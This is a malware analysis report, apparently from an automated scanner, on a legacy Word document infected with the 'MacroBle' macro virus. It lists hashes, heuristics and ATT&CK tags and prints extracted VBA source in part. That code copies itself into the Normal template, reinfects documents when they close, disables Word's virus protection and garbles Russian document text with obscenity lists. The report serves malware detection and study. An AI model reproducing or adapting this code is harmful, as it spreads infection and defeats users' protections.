Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 36247f7cdc88001b…

MALICIOUS

Office (OLE)

50.5 KB Created: 2001-01-05 14:28:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 96a23688103fc61da485668b7f3c44a9 SHA-1: df94a84a5a0a13340bec546f4bdb331e83b7ad25 SHA-256: 36247f7cdc88001b8d246ee3dfcf48f55f2b9fac5a61efe13b7996177554bfcf
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains legacy WordBasic and VBA macros, including AutoOpen and AutoClose functions, which are indicative of macro-based malware. The AutoOpen macro attempts to copy itself to the Normal.dot template, suggesting a propagation mechanism. The AutoClose macro also appears to interact with the Normal template, potentially for further infection or cleanup. The presence of these macros and the attempt to modify the Normal template strongly suggest a malicious intent to infect other documents.

Heuristics 4

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 27085 bytes
SHA-256: 3fcad2ef51947581cbd58a4973a417292085cad94a1ae8c40fd7e3e5a18a23c5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "MacroBle"
Public myname$
Public Changed As Boolean
Option Base 1
Dim ends$(2, 12)
Dim Moora1$(40)
Dim Moora2$(10)
Dim Miss$(8)



'  Macro Ble - the Virus.
' It''s very simple trick. Don''t be surprize: it's a first module i
'  wrote in Visual Basic in my life !

Sub AutoOpen()
 On Error GoTo 1
 myname$ = "MacroBle"
 WordBasic.DisableAutoMacros 0
 
 If Not CheckNormal Then
  Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:=myname$, Object:=wdOrganizerObjectProjectItems
  Set mytemp = NormalTemplate.OpenAsDocument
  mytemp.SaveAs (GetPath$ + "NORMAL1.DOT")
  mytemp.Close savechanges:=wdSaveChanges
End If
GoTo 2
1:
 'MsgBox "Fuck up !"
 Resume 2
2:
End Sub
Function CheckNormal()
 cn = False
 For Each x In NormalTemplate.VBProject.VBComponents
  If x.Name = myname$ Then cn = True
 Next
 CheckNormal = cn
End Function

Function CheckActive()
 cn = False
 For Each x In ActiveDocument.VBProject.VBComponents
  If x.Name = myname$ Then cn = True
 Next
 CheckActive = cn
 End Function

Sub AutoClose()
 On Error GoTo errorlevel2
 If Not CheckActive Then Application.OrganizerCopy Source:=GetPath$ + "NORMAL1.DOT", Destination:=ActiveDocument.FullName, Name:=myname$, Object:=wdOrganizerObjectProjectItems
 If MyDate Then MakeSoviet
 GoTo end_f
errorlevel2:
 'MsgBox "More Errors !"
 Resume end_f
end_f:
End Sub

Function GetPath$()
 s$ = NormalTemplate.FullName
 s$ = Mid$(s$, 1, Len(s$) - 10)
 GetPath$ = s$
End Function

Sub AutoExec()
 Options.VirusProtection = False
 Set x = CommandBars("Tools").Controls(12)
 x.Visible = False
 x.Enabled = False
 ends$(1, 1) = "űé"
 ends$(1, 2) = "îăî"
 ends$(1, 3) = "îěó"
 ends$(1, 4) = "űě"
 ends$(1, 5) = "îě"
 ends$(1, 6) = "ŕ˙"
 ends$(1, 7) = "îé"
 ends$(1, 8) = "óţ"
 ends$(1, 9) = "űĺ"
 ends$(1, 10) = "űő"
 ends$(1, 11) = "űěč"
 ends$(1, 12) = "îĺ"
 ends$(2, 1) = "čé"
 ends$(2, 2) = "ĺăî"
 ends$(2, 3) = "ĺěó"
 ends$(2, 4) = "čě"
 ends$(2, 5) = "ĺě"
 ends$(2, 6) = "ĺé"
 ends$(2, 7) = "čĺ"
 ends$(2, 8) = "čő"
 ends$(2, 9) = "čě"
 ends$(2, 10) = "čěč"
 ends$(2, 11) = "ĺĺ"
 ends$(2, 12) = "ŕ˙"
 
 Moora1$(1) = "őóĺâ"
 Moora1$(2) = "ĺáŕíóň"
 Moora1$(3) = "ăîíčě"
 Moora1$(4) = "äĺáčëüí"
 Moora1$(5) = "ěóäŕ÷í"
 Moora1$(6) = "őđĺíîâ"
 Moora1$(7) = "äóáîâ"
 Moora1$(8) = "ńîďëčâ"
 Moora1$(9) = "ęîđ˙â"
 Moora1$(10) = "óáëţäî÷í"
 
 Moora1$(11) = "ďĺäđčëüí"
 Moora1$(12) = "ăîâí˙í"
 Moora1$(13) = "ęîçëčí"
 Moora1$(14) = "ĺáëčâ"
 Moora1$(15) = "ĺáŕí"
 Moora1$(16) = "ďčçäŕíóň"
 Moora1$(17) = "ďđčäóđîří"
 Moora1$(18) = "řčçŕíóň"
 Moora1$(19) = "ăíóńí"
 Moora1$(20) = "ńňđĺěí"
 
 Moora1$(21) = "ăíóńŕâ"
 Moora1$(22) = "ňóďîđűë"
 Moora1$(23) = "ęŕíŕëčçŕöčîíí"
 Moora1$(24) = "âčçăëčâ"
 Moora1$(25) = "ńëĺďîřŕđ"
 Moora1$(26) = "ďđűůŕâ"
 Moora1$(27) = "đâîňí"
 Moora1$(28) = "ńęëî÷í"
 Moora1$(29) = "óđîäëčâ"
 Moora1$(30) = "áîđîäŕâî÷í"
 
 Moora1$(31) = "îáńňđóőŕíí"
 Moora1$(32) = "íĺíîđěŕëüí"
 Moora1$(33) = "ďëţăŕâ"
 Moora1$(34) = "ęîń˙÷í"
 Moora1$(35) = ""
 Moora1$(36) = ""
 Moora1$(37) = ""
 Moora1$(38) = ""
 Moora1$(39) = ""
 Moora1$(40) = ""

 Moora2$(1) = "ńâčí˙÷"
 Moora2$(2) = "îőóĺâř"
 Moora2$(3) = "âîíţ÷"
 Moora2$(4) = "îőóĺâŕţů"
 Moora2$(5) = ""
 Moora2$(6) = ""
 Moora2$(7) = ""
 Moora2$(8) = ""
 Moora2$(9) = ""
 Moora2$(10) = ""
 
 Miss$(1) = "ěí"
 Miss$(2) = "ňîá"
 Miss$(3) = "ńîá"
 Miss$(4) = "ńâî"
 Miss$(5) = "ěî"
 Miss$(6) = "čőí"
 Miss$(7) = "íŕř"
 Miss$(8) = "âŕř"
End Sub

Sub MakeSoviet()
 AutoExec
 Randomize Timer
 f = System.LanguageDesignation
 If UCase$(Mid$(f, 1, 3)) = "ĐÓŃ" Then
  s = ActiveDocument.Words.Count
  If s < 200 Then effects = True Else effects = False
  For k = 1 To s
   If effects Then

... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.